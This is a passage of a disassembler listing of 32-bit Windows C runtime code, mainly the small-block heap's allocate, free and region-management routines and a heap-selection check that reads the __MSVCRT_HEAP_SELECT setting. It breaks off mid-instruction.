loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DCC80, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DBC78 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DCC80 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2690126h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 26D066Bh nop test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2890000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx call near ptr 2670000h nop cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2482218h dd 0A3C08590h, 4DCFE4h, 93E83674h, 83FFFFFEh, 0E8A303F8h dd 75004DCFh, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0E8004Dh dd 9002472Fh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFE4h dd 21BEE890h, 0C0850238h, 4DCFDCA3h, 0C3017500h, 4244C8Bh dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DCFD8 lea ecx, [eax+eax*4] mov eax, dword_4DCFDC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DCFD4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DCFCC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DCFCC mov eax, dword_4DCFD4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DCFD4 mov ecx, dword_4DCFCC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DCFD4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DCFD4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DCFD4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DCFD4 push dword ptr [eax+10h] push 0 push dword_4DCFE4 nop call near ptr 2790000h mov eax, dword_4DCFD8 mov edx, dword_4DCFDC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DCFD4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DCFD8 cmp eax, dword_4DCFD4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DCFDC mov dword_4DCFD0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DCFCC, edi mov dword_4DCFD4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DCFD8 mov edx, dword_4DCFDC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DCFD0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DCFD0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DCFD4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DCFCC jnz short loc_41E4C7 and dword_4DCFD4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DCFD8 mov ecx, dword_4DCFC8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DCFDC push edi push dword_4DCFE4 nop call near ptr 2840000h cmp eax, edi jz short loc_41E567 add dword_4DCFC8, 10h mov dword_4DCFDC, eax mov eax, dword_4DCFD8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DCFDC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DCFE4 lea esi, [ecx+eax*4] nop call near ptr 27A0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 28A065Ah cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DCFE4 nop call near ptr 2790000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DCFD8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28A065Ah test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov 